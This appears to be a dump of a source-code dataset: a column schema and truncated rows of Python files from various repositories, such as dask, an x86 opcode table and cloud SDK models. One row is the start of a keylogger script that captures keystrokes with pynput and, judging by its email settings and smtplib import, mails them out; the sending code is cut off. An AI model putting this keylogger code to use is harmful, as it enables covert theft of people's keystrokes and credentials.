hexsha
stringlengths
40
40
size
int64
2
1.02M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
2
1.02M
avg_line_length
float64
1
417k
max_line_length
int64
1
987k
alphanum_fraction
float64
0
1
content_no_comment
stringlengths
0
1.01M
is_comment_constant_removed
bool
1 class
is_sharp_comment_removed
bool
1 class
f725f37fb53556a224003a62cbca39f0bc36a66e
47,357
py
Python
dask/dataframe/io/parquet/fastparquet.py
ParticularMiner/dask
f40ef97ac802efb6d8bef03b03c6357cf871bc0a
[ "BSD-3-Clause" ]
null
null
null
dask/dataframe/io/parquet/fastparquet.py
ParticularMiner/dask
f40ef97ac802efb6d8bef03b03c6357cf871bc0a
[ "BSD-3-Clause" ]
null
null
null
dask/dataframe/io/parquet/fastparquet.py
ParticularMiner/dask
f40ef97ac802efb6d8bef03b03c6357cf871bc0a
[ "BSD-3-Clause" ]
null
null
null
import copy import pickle import threading import warnings from collections import OrderedDict, defaultdict from contextlib import ExitStack import numpy as np import pandas as pd import tlz as toolz from packaging.version import parse as parse_version from dask.core import flatten try: import fastparquet fr...
36.597372
96
0.51665
import copy import pickle import threading import warnings from collections import OrderedDict, defaultdict from contextlib import ExitStack import numpy as np import pandas as pd import tlz as toolz from packaging.version import parse as parse_version from dask.core import flatten try: import fastparquet fr...
true
true
f725f3882774f4a3c357d3b4d5807560a3f511c3
1,457
py
Python
Projects/Keylogger/key.py
eshaananand/HACKTOBERFEST_2021
e868968e104639307ae18c7cac842c4a092674fb
[ "MIT" ]
null
null
null
Projects/Keylogger/key.py
eshaananand/HACKTOBERFEST_2021
e868968e104639307ae18c7cac842c4a092674fb
[ "MIT" ]
null
null
null
Projects/Keylogger/key.py
eshaananand/HACKTOBERFEST_2021
e868968e104639307ae18c7cac842c4a092674fb
[ "MIT" ]
9
2020-10-15T08:15:01.000Z
2020-10-19T15:04:26.000Z
# -*- coding: utf-8 -*- """ Created on Fri Oct 18 00:20:49 2019 @author: Asus """ import pynput.keyboard import threading import smtplib class Keylogger: def __init__(self,time_interval ,email ,password): self.log ="keylogger started" self.interval = time_interval self.email=email ...
31
83
0.597804
import pynput.keyboard import threading import smtplib class Keylogger: def __init__(self,time_interval ,email ,password): self.log ="keylogger started" self.interval = time_interval self.email=email self.password=password def append_to_log(self,string): self.log =self....
true
true
f725f3d9875d4e6eb82a0011123cb41d1bfeac57
149
py
Python
stograde/student/reset.py
babatana/stograde
c1c447e99c44c23cef9dd857e669861f3708ae77
[ "MIT" ]
7
2016-08-05T00:41:11.000Z
2019-08-22T11:12:10.000Z
stograde/student/reset.py
babatana/stograde
c1c447e99c44c23cef9dd857e669861f3708ae77
[ "MIT" ]
145
2016-08-04T01:07:11.000Z
2019-09-09T22:07:13.000Z
stograde/student/reset.py
babatana/stograde
c1c447e99c44c23cef9dd857e669861f3708ae77
[ "MIT" ]
3
2017-02-06T21:52:46.000Z
2019-02-18T10:35:01.000Z
from ..common import chdir, run def reset(student: str): with chdir(student): run(['git', 'checkout', 'master', '--quiet', '--force'])
21.285714
64
0.590604
from ..common import chdir, run def reset(student: str): with chdir(student): run(['git', 'checkout', 'master', '--quiet', '--force'])
true
true
f725f4ccae39d255e7f8a1319af3c13ec1833d91
71
py
Python
nca47/version.py
WosunOO/nca_xianshu
bbb548cb67b755a57528796d4c5a66ee68df2678
[ "Apache-2.0" ]
null
null
null
nca47/version.py
WosunOO/nca_xianshu
bbb548cb67b755a57528796d4c5a66ee68df2678
[ "Apache-2.0" ]
null
null
null
nca47/version.py
WosunOO/nca_xianshu
bbb548cb67b755a57528796d4c5a66ee68df2678
[ "Apache-2.0" ]
null
null
null
import pbr.version version_info = pbr.version.VersionInfo('nca47')
17.75
48
0.760563
import pbr.version version_info = pbr.version.VersionInfo('nca47')
true
true
f725f4dae2e4c5953b2e2ca2570972ac74936c24
22,958
py
Python
lisa/cli/cli.py
Wang-Cankun/lisa2
2407cc3c12f43bf41f0e14b2a8a5fcdfe07ff310
[ "MIT" ]
17
2020-09-21T20:04:43.000Z
2022-01-15T11:25:41.000Z
lisa/cli/cli.py
Wang-Cankun/lisa2
2407cc3c12f43bf41f0e14b2a8a5fcdfe07ff310
[ "MIT" ]
1
2021-10-04T22:39:05.000Z
2021-10-04T22:39:05.000Z
lisa/cli/cli.py
Wang-Cankun/lisa2
2407cc3c12f43bf41f0e14b2a8a5fcdfe07ff310
[ "MIT" ]
5
2021-02-16T13:16:34.000Z
2022-03-08T16:15:25.000Z
''' ******** Lisa CLI ******** Installing LISA using pip or conda adds the "lisa" command to your path. LISA's functionality is divided into three main subcommands: * `lisa oneshot`_ : one genelist * `lisa multi`_ : multiple genelists * `lisa regions`_ : one genelist and a list of regions Which are used depending on...
48.029289
301
0.728548
from lisa import FromRegions, FromGenes, FromCoverage from lisa.core.utils import Log from lisa.core.lisa_core import DownloadRequiredError from lisa.core.data_interface import DatasetNotFoundError, INSTALL_PATH from lisa._version import __version__ import configparser import argparse import os import sys import json ...
true
true
f725f58bf735ca99258ae36b96512040ca305b63
608,328
py
Python
src/rust/iced-x86-py/src/iced_x86/Code.py
woodruffw-forks/iced
cf23473cf26cd7215dee7510093fad140c696cc7
[ "MIT" ]
1
2021-06-10T15:26:22.000Z
2021-06-10T15:26:22.000Z
src/rust/iced-x86-py/src/iced_x86/Code.py
paulfariello/iced
08f663ae9626b05ab08ad36dd5143f94aed365b6
[ "MIT" ]
null
null
null
src/rust/iced-x86-py/src/iced_x86/Code.py
paulfariello/iced
08f663ae9626b05ab08ad36dd5143f94aed365b6
[ "MIT" ]
null
null
null
# SPDX-License-Identifier: MIT # Copyright (C) 2018-present iced project and contributors # ⚠️This file was generated by GENERATOR!🦹‍♂️ # pylint: disable=invalid-name # pylint: disable=line-too-long # pylint: disable=too-many-lines """ x86 instruction code """ INVALID: int = 0 """ It's an invalid instruction, eg. ...
13.336432
131
0.606806
INVALID: int = 0 DECLAREBYTE: int = 1 DECLAREWORD: int = 2 DECLAREDWORD: int = 3 DECLAREQWORD: int = 4 ADD_RM8_R8: int = 5 ADD_RM16_R16: int = 6 ADD_RM32_R32: int = 7 ADD_RM64_R64: int = 8 ADD_R8_RM8: int = 9 ADD_R16_RM16: int = 10 ADD_R32_RM32: int = 11 ADD_R64_RM64: int = 12 ADD_AL_IMM8: int = 13 ADD_AX_IMM...
true
true
f725f62d736217414f7205feb40dc8ce94818614
4,955
py
Python
huaweicloud-sdk-bssintl/huaweicloudsdkbssintl/v2/model/show_customer_order_details_response.py
githubmilesma/huaweicloud-sdk-python-v3
9d9449ed68a609ca65f0aa50b5b2a1c28445bf03
[ "Apache-2.0" ]
1
2021-04-16T07:59:28.000Z
2021-04-16T07:59:28.000Z
huaweicloud-sdk-bssintl/huaweicloudsdkbssintl/v2/model/show_customer_order_details_response.py
Lencof/huaweicloud-sdk-python-v3
d13dc4e2830a83e295be6e4de021999b3376e34e
[ "Apache-2.0" ]
null
null
null
huaweicloud-sdk-bssintl/huaweicloudsdkbssintl/v2/model/show_customer_order_details_response.py
Lencof/huaweicloud-sdk-python-v3
d13dc4e2830a83e295be6e4de021999b3376e34e
[ "Apache-2.0" ]
1
2022-01-17T02:24:18.000Z
2022-01-17T02:24:18.000Z
# coding: utf-8 import pprint import re import six from huaweicloudsdkcore.sdk_response import SdkResponse class ShowCustomerOrderDetailsResponse(SdkResponse): """ Attributes: openapi_types (dict): The key is attribute name and the value is attribute type. attribu...
30.398773
99
0.618769
import pprint import re import six from huaweicloudsdkcore.sdk_response import SdkResponse class ShowCustomerOrderDetailsResponse(SdkResponse): sensitive_list = [] openapi_types = { 'total_count': 'int', 'order_info': 'CustomerOrderV2', 'order_line_items': 'list[OrderLineItemE...
true
true
f725f695763bfd4fc762cb3bc2d1ac57a86e383c
811
py
Python
xlsxwriter/test/chartsheet/test_initialisation.py
haiyangd/XlsxWriter
81f8c9435b3e03a1458bf9ba314b5d3f7508290f
[ "BSD-2-Clause-FreeBSD" ]
3
2018-02-26T12:31:41.000Z
2020-10-10T14:14:11.000Z
xlsxwriter/test/chartsheet/test_initialisation.py
haiyangd/XlsxWriter
81f8c9435b3e03a1458bf9ba314b5d3f7508290f
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
xlsxwriter/test/chartsheet/test_initialisation.py
haiyangd/XlsxWriter
81f8c9435b3e03a1458bf9ba314b5d3f7508290f
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
############################################################################### # # Tests for XlsxWriter. # # Copyright (c), 2013-2017, John McNamara, jmcnamara@cpan.org # import unittest from ...compatibility import StringIO from ...chartsheet import Chartsheet class TestInitialisation(unittest.TestCase): """ ...
24.575758
79
0.591862
true
true
f725f82a65e7831844437922f04c35e5f5cd1ffc
1,577
py
Python
python/hetu/gpu_ops/AddConst.py
HugoZHL/Hetu
51b0aa3d3deeb9c7a5c8e57aecec7b641db750af
[ "Apache-2.0" ]
null
null
null
python/hetu/gpu_ops/AddConst.py
HugoZHL/Hetu
51b0aa3d3deeb9c7a5c8e57aecec7b641db750af
[ "Apache-2.0" ]
null
null
null
python/hetu/gpu_ops/AddConst.py
HugoZHL/Hetu
51b0aa3d3deeb9c7a5c8e57aecec7b641db750af
[ "Apache-2.0" ]
1
2021-08-01T09:05:20.000Z
2021-08-01T09:05:20.000Z
from __future__ import absolute_import from .Node import Op from .._base import DNNL_LIB from ..cpu_links import matrix_elementwise_add_by_const as cpu_matrix_elementwise_add_by_const from ..gpu_links import matrix_elementwise_add_by_const class AddByConstOp(Op): def __init__(self, node_A, const_val, ctx=None): ...
30.326923
94
0.660748
from __future__ import absolute_import from .Node import Op from .._base import DNNL_LIB from ..cpu_links import matrix_elementwise_add_by_const as cpu_matrix_elementwise_add_by_const from ..gpu_links import matrix_elementwise_add_by_const class AddByConstOp(Op): def __init__(self, node_A, const_val, ctx=None): ...
true
true
f725fa58d83ac3bdbfb6b9632641decaf448c44e
29,514
py
Python
mmf/modules/encoders.py
facebookresearch/pythia
079740bee4b357a7b1b866d35e2f1fad6edba8a4
[ "BSD-3-Clause" ]
3,252
2018-07-27T02:32:24.000Z
2020-05-07T17:54:46.000Z
mmf/modules/encoders.py
facebookresearch/pythia
079740bee4b357a7b1b866d35e2f1fad6edba8a4
[ "BSD-3-Clause" ]
209
2018-07-30T06:39:59.000Z
2020-05-04T22:03:48.000Z
mmf/modules/encoders.py
facebookresearch/pythia
079740bee4b357a7b1b866d35e2f1fad6edba8a4
[ "BSD-3-Clause" ]
431
2018-07-27T04:17:37.000Z
2020-05-05T13:58:02.000Z
# Copyright (c) Facebook, Inc. and its affiliates. import importlib import logging import os import pickle import re from collections import OrderedDict from copy import deepcopy from dataclasses import asdict, dataclass from enum import Enum from typing import Any import torch import torchvision from mmf.common.regis...
34.763251
88
0.630345
import importlib import logging import os import pickle import re from collections import OrderedDict from copy import deepcopy from dataclasses import asdict, dataclass from enum import Enum from typing import Any import torch import torchvision from mmf.common.registry import registry from mmf.models.frcnn import G...
true
true
f725fbcb3a31eaf8eff4449388e052cf673f2915
15,435
py
Python
argopy/fetchers.py
dhruvbalwada/argopy
66a0b38ab5024d2ff2b7055e0e9b1c62837023a1
[ "Apache-2.0" ]
null
null
null
argopy/fetchers.py
dhruvbalwada/argopy
66a0b38ab5024d2ff2b7055e0e9b1c62837023a1
[ "Apache-2.0" ]
null
null
null
argopy/fetchers.py
dhruvbalwada/argopy
66a0b38ab5024d2ff2b7055e0e9b1c62837023a1
[ "Apache-2.0" ]
null
null
null
#!/bin/env python # -*coding: UTF-8 -*- """ High level helper methods to load Argo data from any source The facade should be able to work with all available data access point, """ import warnings from argopy.options import OPTIONS, _VALIDATORS from .errors import InvalidFetcherAccessPoint, InvalidFetcher from .util...
39.075949
121
0.593456
import warnings from argopy.options import OPTIONS, _VALIDATORS from .errors import InvalidFetcherAccessPoint, InvalidFetcher from .utilities import list_available_data_src, list_available_index_src from .plotters import plot_trajectory, plot_dac, plot_profilerType AVAILABLE_DATA_SOURCES = list_available_data_src()...
true
true
f725fc00d7ebb2835c0b2bf25f77e74b2071941c
1,732
py
Python
renameFiles.py
fkorsa/PythonScripts
3ceb990a4e25eb2ac33c9841f5345de77a456904
[ "BSD-3-Clause" ]
null
null
null
renameFiles.py
fkorsa/PythonScripts
3ceb990a4e25eb2ac33c9841f5345de77a456904
[ "BSD-3-Clause" ]
null
null
null
renameFiles.py
fkorsa/PythonScripts
3ceb990a4e25eb2ac33c9841f5345de77a456904
[ "BSD-3-Clause" ]
null
null
null
# Import all dependencies import re, os, sys from shutil import copyfile def GetNewName(oldName, parameters): """if (not '.dll' in oldName and not '.so' in oldName and not '.eon' in oldName ): raise ValueError()""" pattern = r'([a-zA_Z_\.]+)([0-9]+)(.*)' beginning = re.sub(p...
36.851064
83
0.612587
import re, os, sys from shutil import copyfile def GetNewName(oldName, parameters): pattern = r'([a-zA_Z_\.]+)([0-9]+)(.*)' beginning = re.sub(pattern, r'\1', oldName) pictureIndex = int(re.sub(pattern, r'\2', oldName)) - 1 ending = re.sub(pattern, r'\3', oldName) pictureIndexString = str(pictureI...
true
true
f725fd65cd9fd0c6626d2ccb18a6ab12c3269b2d
734
py
Python
test/integration/006_source_schema_test/test_source_schemas.py
bastienboutonnet/dbt-helper
7bf56384ae584542eb22adf5431df1854e95ae9b
[ "Apache-2.0" ]
null
null
null
test/integration/006_source_schema_test/test_source_schemas.py
bastienboutonnet/dbt-helper
7bf56384ae584542eb22adf5431df1854e95ae9b
[ "Apache-2.0" ]
null
null
null
test/integration/006_source_schema_test/test_source_schemas.py
bastienboutonnet/dbt-helper
7bf56384ae584542eb22adf5431df1854e95ae9b
[ "Apache-2.0" ]
null
null
null
from test.integration.base import DBTIntegrationTest class SourceSchemaTest(DBTIntegrationTest): def test_dependencies(self): self.run_dbt(["run"]) results = self.run_dbthelper(["show_upstream", "d"]) self.assertTrue(len(results) == 5) results = self.run_dbthelper(["show_downstream...
36.7
62
0.638965
from test.integration.base import DBTIntegrationTest class SourceSchemaTest(DBTIntegrationTest): def test_dependencies(self): self.run_dbt(["run"]) results = self.run_dbthelper(["show_upstream", "d"]) self.assertTrue(len(results) == 5) results = self.run_dbthelper(["show_downstream...
true
true
f725fe7163265998e318929048c9c017ed7a3eaa
203
py
Python
scitbx/suffixtree/single.py
dperl-sol/cctbx_project
b9e390221a2bc4fd00b9122e97c3b79c632c6664
[ "BSD-3-Clause-LBNL" ]
155
2016-11-23T12:52:16.000Z
2022-03-31T15:35:44.000Z
scitbx/suffixtree/single.py
dperl-sol/cctbx_project
b9e390221a2bc4fd00b9122e97c3b79c632c6664
[ "BSD-3-Clause-LBNL" ]
590
2016-12-10T11:31:18.000Z
2022-03-30T23:10:09.000Z
scitbx/suffixtree/single.py
dperl-sol/cctbx_project
b9e390221a2bc4fd00b9122e97c3b79c632c6664
[ "BSD-3-Clause-LBNL" ]
115
2016-11-15T08:17:28.000Z
2022-02-09T15:30:14.000Z
from __future__ import absolute_import, division, print_function import boost_adaptbx.boost.python as bp ext = bp.import_ext( "scitbx_suffixtree_single_ext" ) from scitbx_suffixtree_single_ext import *
33.833333
64
0.847291
from __future__ import absolute_import, division, print_function import boost_adaptbx.boost.python as bp ext = bp.import_ext( "scitbx_suffixtree_single_ext" ) from scitbx_suffixtree_single_ext import *
true
true
f726009e115fa53dcbb215945e9db16a7b200188
1,222
py
Python
DynamicProgramming/matrixChainMultiplication.py
ZPAVelocity/DataStructureExercise
39b1cce859e5c46599b3a6e69ac80ade5920aa34
[ "MIT" ]
null
null
null
DynamicProgramming/matrixChainMultiplication.py
ZPAVelocity/DataStructureExercise
39b1cce859e5c46599b3a6e69ac80ade5920aa34
[ "MIT" ]
null
null
null
DynamicProgramming/matrixChainMultiplication.py
ZPAVelocity/DataStructureExercise
39b1cce859e5c46599b3a6e69ac80ade5920aa34
[ "MIT" ]
null
null
null
import sys import numpy as np def main(): p = [30, 35, 15, 5, 10, 20, 25] m, s = matrixChainOrder(p) print('m') for i in m: print(i) print('s') for i in s: print(i) def matrixMultiply(A, B): if A.shape[1] != B.shape[0]: print('incompatible dimensions') ...
23.5
77
0.432079
import sys import numpy as np def main(): p = [30, 35, 15, 5, 10, 20, 25] m, s = matrixChainOrder(p) print('m') for i in m: print(i) print('s') for i in s: print(i) def matrixMultiply(A, B): if A.shape[1] != B.shape[0]: print('incompatible dimensions') ...
true
true
f72600ddc98d2dae8f2a00689368dc6c971a3fb8
3,248
py
Python
nib/plugins/blog.py
jreese/nib
53308e73aae7d10cdc273ab339bb041b07930a75
[ "MIT" ]
10
2015-02-03T08:21:16.000Z
2021-12-24T10:08:57.000Z
nib/plugins/blog.py
jreese/nib
53308e73aae7d10cdc273ab339bb041b07930a75
[ "MIT" ]
4
2016-09-22T01:18:30.000Z
2016-09-23T00:18:38.000Z
nib/plugins/blog.py
jreese/nib
53308e73aae7d10cdc273ab339bb041b07930a75
[ "MIT" ]
2
2016-09-22T00:39:31.000Z
2017-03-16T00:09:47.000Z
from __future__ import absolute_import, division, print_function, unicode_literals import datetime import re from nib import Document, Processor, before, document dateregex = re.compile(r'(?P<year>\d\d\d\d)[-./](?P<month>\d\d)[-./](?P<day>\d\d)') @before class BlogDateProcessor(Processor): def document(self, doc...
36.494382
85
0.494458
from __future__ import absolute_import, division, print_function, unicode_literals import datetime import re from nib import Document, Processor, before, document dateregex = re.compile(r'(?P<year>\d\d\d\d)[-./](?P<month>\d\d)[-./](?P<day>\d\d)') @before class BlogDateProcessor(Processor): def document(self, doc...
true
true
f72601e5fda214f23f81969e4034744eaff7b404
188
py
Python
atcoder/abc178C_ubiquity.py
uninhm/kyopro
bf6ed9cbf6a5e46cde0291f7aa9d91a8ddf1f5a3
[ "BSD-3-Clause" ]
31
2020-05-13T01:07:55.000Z
2021-07-13T07:53:26.000Z
atcoder/abc178C_ubiquity.py
uninhm/kyopro
bf6ed9cbf6a5e46cde0291f7aa9d91a8ddf1f5a3
[ "BSD-3-Clause" ]
10
2020-05-20T07:22:09.000Z
2021-07-19T03:52:13.000Z
atcoder/abc178C_ubiquity.py
uninhm/kyopro
bf6ed9cbf6a5e46cde0291f7aa9d91a8ddf1f5a3
[ "BSD-3-Clause" ]
14
2020-05-11T05:58:36.000Z
2021-12-07T03:20:43.000Z
# Vicfred & uninhm # https://atcoder.jp/contests/abc178/tasks/abc178_c # combinatorics n = int(input()) mod = 10**9+7 print((pow(10, n, mod) - 2*pow(9, n, mod) + pow(8, n, mod)) % mod)
18.8
66
0.62234
n = int(input()) mod = 10**9+7 print((pow(10, n, mod) - 2*pow(9, n, mod) + pow(8, n, mod)) % mod)
true
true
f726020d71b71fa88e43f762ead78c688e3c3a3a
3,322
py
Python
language/bert_extraction/steal_bert_qa/data_generation/preprocess_thief_dev_squad.py
IngrojShrestha/language
674a3d016b1e17658e301e8d9bdfa63e3d3f5d15
[ "Apache-2.0" ]
1
2020-05-30T15:19:39.000Z
2020-05-30T15:19:39.000Z
language/bert_extraction/steal_bert_qa/data_generation/preprocess_thief_dev_squad.py
IngrojShrestha/language
674a3d016b1e17658e301e8d9bdfa63e3d3f5d15
[ "Apache-2.0" ]
null
null
null
language/bert_extraction/steal_bert_qa/data_generation/preprocess_thief_dev_squad.py
IngrojShrestha/language
674a3d016b1e17658e301e8d9bdfa63e3d3f5d15
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # Copyright 2018 The Google AI Language Team Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ...
31.638095
135
0.695665
import json import random import numpy as np import tensorflow.compat.v1 as tf app = tf.compat.v1.app flags = tf.flags gfile = tf.gfile logging = tf.logging flags.DEFINE_string("pool_dataset", None, "Large pool of queries having training set distribution.") flags.DEFINE_string("tra...
true
true
f72604d331367abace2bd7856e05fc96d5ec665a
3,831
py
Python
visualisation_engine/settings/dev.py
QualiChain/visualisation_engine_
8ec00aa08d703a9f23462d73236f1e20e9168237
[ "MIT" ]
null
null
null
visualisation_engine/settings/dev.py
QualiChain/visualisation_engine_
8ec00aa08d703a9f23462d73236f1e20e9168237
[ "MIT" ]
null
null
null
visualisation_engine/settings/dev.py
QualiChain/visualisation_engine_
8ec00aa08d703a9f23462d73236f1e20e9168237
[ "MIT" ]
null
null
null
""" Django settings for visualisation_engine project. Generated by 'django-admin startproject' using Django 3.1. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ f...
25.039216
91
0.692247
from pathlib import Path import os BASE_DIR = Path(__file__).resolve(strict=True).parent.parent SECRET_KEY = 's5oyds$!u$m%m#oq6iqr!=sq)$5gt(bo6bnu+2qsg#fcgzfw@b' DEBUG = True ALLOWED_HOSTS = ['*'] #CORS CORS_ORIGIN_ALLOW_ALL = True # Application definition INSTALLED_APPS = [ 'django.contrib.admin', ...
true
true
f72605046ec8fd6a2d4e80f3aaede195b2b0f3f8
233
py
Python
print_histogram.py
lwoznicki/Python-simple-code
72486f8f18f8ffc019838be4b1d7d45c68356a0e
[ "MIT" ]
null
null
null
print_histogram.py
lwoznicki/Python-simple-code
72486f8f18f8ffc019838be4b1d7d45c68356a0e
[ "MIT" ]
null
null
null
print_histogram.py
lwoznicki/Python-simple-code
72486f8f18f8ffc019838be4b1d7d45c68356a0e
[ "MIT" ]
1
2020-01-04T20:45:26.000Z
2020-01-04T20:45:26.000Z
def print_histogram(h): dict = [] dict += sorted(h.keys()) for e in dict: print(e, h[e]) spaghetti = {'s' : 1, 'p' : 1, 'a' : 1, 'g' : 1, 'h' : 1, 'e' : 1 ,'t' : 2 , 'i' : 1} print_histogram(spaghetti)
25.888889
86
0.450644
def print_histogram(h): dict = [] dict += sorted(h.keys()) for e in dict: print(e, h[e]) spaghetti = {'s' : 1, 'p' : 1, 'a' : 1, 'g' : 1, 'h' : 1, 'e' : 1 ,'t' : 2 , 'i' : 1} print_histogram(spaghetti)
true
true
f726052b6ebb1901f2bd60dbf982fdea48f38b54
12,031
py
Python
functional_tests/test_views.py
wivn/feed-reader
1b4524fcdfc79391a5cf982ce9c5681e600f4303
[ "MIT" ]
null
null
null
functional_tests/test_views.py
wivn/feed-reader
1b4524fcdfc79391a5cf982ce9c5681e600f4303
[ "MIT" ]
null
null
null
functional_tests/test_views.py
wivn/feed-reader
1b4524fcdfc79391a5cf982ce9c5681e600f4303
[ "MIT" ]
null
null
null
from django.test import LiveServerTestCase from selenium import webdriver from selenium.common.exceptions import WebDriverException from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import e...
66.104396
1,239
0.730114
from django.test import LiveServerTestCase from selenium import webdriver from selenium.common.exceptions import WebDriverException from selenium.webdriver.common.keys import Keys from selenium.webdriver.common.by import By from selenium.webdriver.support.ui import WebDriverWait from selenium.webdriver.support import e...
true
true
f726084efad0da3d822f2612ca1c35a8e0a06715
2,932
py
Python
tests/plugins/test_clang_filters.py
dsoto/dexy
0f2090250040c3c54c8481a16de8e476b559e87c
[ "MIT" ]
null
null
null
tests/plugins/test_clang_filters.py
dsoto/dexy
0f2090250040c3c54c8481a16de8e476b559e87c
[ "MIT" ]
null
null
null
tests/plugins/test_clang_filters.py
dsoto/dexy
0f2090250040c3c54c8481a16de8e476b559e87c
[ "MIT" ]
null
null
null
from tests.utils import assert_output from tests.utils import wrap from dexy.doc import Doc FORTRAN_HELLO_WORLD = """program hello print *, "Hello World!" end program hello """ CPP_HELLO_WORLD = """#include <iostream> using namespace std; int main() { cout << "Hello, world!"; return 0; } """ C_HELLO_WORLD = ...
24.433333
76
0.537517
from tests.utils import assert_output from tests.utils import wrap from dexy.doc import Doc FORTRAN_HELLO_WORLD = """program hello print *, "Hello World!" end program hello """ CPP_HELLO_WORLD = """#include <iostream> using namespace std; int main() { cout << "Hello, world!"; return 0; } """ C_HELLO_WORLD = ...
true
true
f72608bcf3958c08d167921ea51ff86f7896570c
10,372
py
Python
pygame_geometry/body.py
MarcPartensky/Pygame-Geometry
61abbbeac0fd351253e06b19736d9939fd5b316e
[ "MIT" ]
3
2021-01-03T18:13:02.000Z
2021-06-27T21:29:11.000Z
pygame_geometry/body.py
MarcPartensky/Pygame-Geometry
61abbbeac0fd351253e06b19736d9939fd5b316e
[ "MIT" ]
null
null
null
pygame_geometry/body.py
MarcPartensky/Pygame-Geometry
61abbbeac0fd351253e06b19736d9939fd5b316e
[ "MIT" ]
null
null
null
from .abstract import Vector, Point, Segment, Circle from .anatomies import FormAnatomy from .motion import Motion, Moment from .material import Material from .physics import Physics from . import colors from pygame.locals import * from copy import deepcopy import pygame import logging import copy import random import...
31.621951
115
0.614153
from .abstract import Vector, Point, Segment, Circle from .anatomies import FormAnatomy from .motion import Motion, Moment from .material import Material from .physics import Physics from . import colors from pygame.locals import * from copy import deepcopy import pygame import logging import copy import random import...
true
true
f7260982ff15ee479d978bf2768b0d3f1e8c015c
22,456
py
Python
python/paddle/fluid/tests/unittests/test_egr_python_api.py
tangzhiyi11/Paddle
790cadd1f06fabeadc4b9aeca5622ea50985b990
[ "Apache-2.0" ]
1
2021-12-31T09:01:02.000Z
2021-12-31T09:01:02.000Z
python/paddle/fluid/tests/unittests/test_egr_python_api.py
tangzhiyi11/Paddle
790cadd1f06fabeadc4b9aeca5622ea50985b990
[ "Apache-2.0" ]
null
null
null
python/paddle/fluid/tests/unittests/test_egr_python_api.py
tangzhiyi11/Paddle
790cadd1f06fabeadc4b9aeca5622ea50985b990
[ "Apache-2.0" ]
null
null
null
# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ap...
46.686071
95
0.642679
import paddle.fluid.core as core import paddle.fluid.eager.eager_tensor_patch_methods as eager_tensor_patch_methods import paddle import numpy as np from paddle.fluid.framework import _test_eager_guard, EagerParamBase, _in_eager_mode from paddle.fluid.data_feeder import convert_dtype import unittest impor...
true
true
f7260a0d88edffe8d516cb9fd3952c72cf448a40
1,339
py
Python
misc/python/materialize/cli/scratch/mine.py
moyun/materialize
58a59986abfa391375f5178d6fe742c5328155ac
[ "MIT" ]
1
2021-04-02T20:41:35.000Z
2021-04-02T20:41:35.000Z
misc/python/materialize/cli/scratch/mine.py
moyun/materialize
58a59986abfa391375f5178d6fe742c5328155ac
[ "MIT" ]
289
2021-02-12T22:25:15.000Z
2022-03-27T22:12:28.000Z
misc/python/materialize/cli/scratch/mine.py
moyun/materialize
58a59986abfa391375f5178d6fe742c5328155ac
[ "MIT" ]
1
2021-07-09T11:51:59.000Z
2021-07-09T11:51:59.000Z
# Copyright Materialize, Inc. and contributors. All rights reserved. # # Use of this software is governed by the Business Source License # included in the LICENSE file at the root of this repository. # # As of the Change Date specified in that file, in accordance with # the Business Source License, use of this software...
33.475
87
0.720687
import argparse from typing import Callable import boto3 from mypy_boto3_ec2.service_resource import Instance from materialize.cli.scratch import check_required_vars from materialize.scratch import launched_by, print_instances, tags, whoami def configure_parser(parser: argparse.ArgumentParser) -> None: ...
true
true
f7260a5cf2eade315c5bf110204cd445c7e662a3
7,966
py
Python
tests/components/plant/test_init.py
domwillcode/home-assistant
f170c80bea70c939c098b5c88320a1c789858958
[ "Apache-2.0" ]
6
2020-07-18T16:33:25.000Z
2021-09-26T09:52:04.000Z
tests/components/plant/test_init.py
domwillcode/home-assistant
f170c80bea70c939c098b5c88320a1c789858958
[ "Apache-2.0" ]
38
2020-07-23T07:14:17.000Z
2022-03-31T06:01:46.000Z
tests/components/plant/test_init.py
klauern/home-assistant-core
c18ba6aec0627e6afb6442c678edb5ff2bb17db6
[ "Apache-2.0" ]
5
2020-03-29T00:29:13.000Z
2021-09-06T20:58:40.000Z
"""Unit tests for platform/plant.py.""" from datetime import datetime, timedelta import pytest from homeassistant.components import recorder import homeassistant.components.plant as plant from homeassistant.const import ( ATTR_UNIT_OF_MEASUREMENT, CONDUCTIVITY, STATE_OK, STATE_PROBLEM, STATE_UNAVA...
33.330544
88
0.700603
from datetime import datetime, timedelta import pytest from homeassistant.components import recorder import homeassistant.components.plant as plant from homeassistant.const import ( ATTR_UNIT_OF_MEASUREMENT, CONDUCTIVITY, STATE_OK, STATE_PROBLEM, STATE_UNAVAILABLE, STATE_UNKNOWN, ) from homeas...
true
true
f7260c42d605bb593528b63732665c5cf39180b2
59
py
Python
core/python/spirit/parameters/__init__.py
SpiritSuperUser/spirit
fbe69c2a9b7a73e8f47d302c619303aea2a22ace
[ "MIT" ]
2
2020-11-12T13:54:22.000Z
2021-11-05T09:10:27.000Z
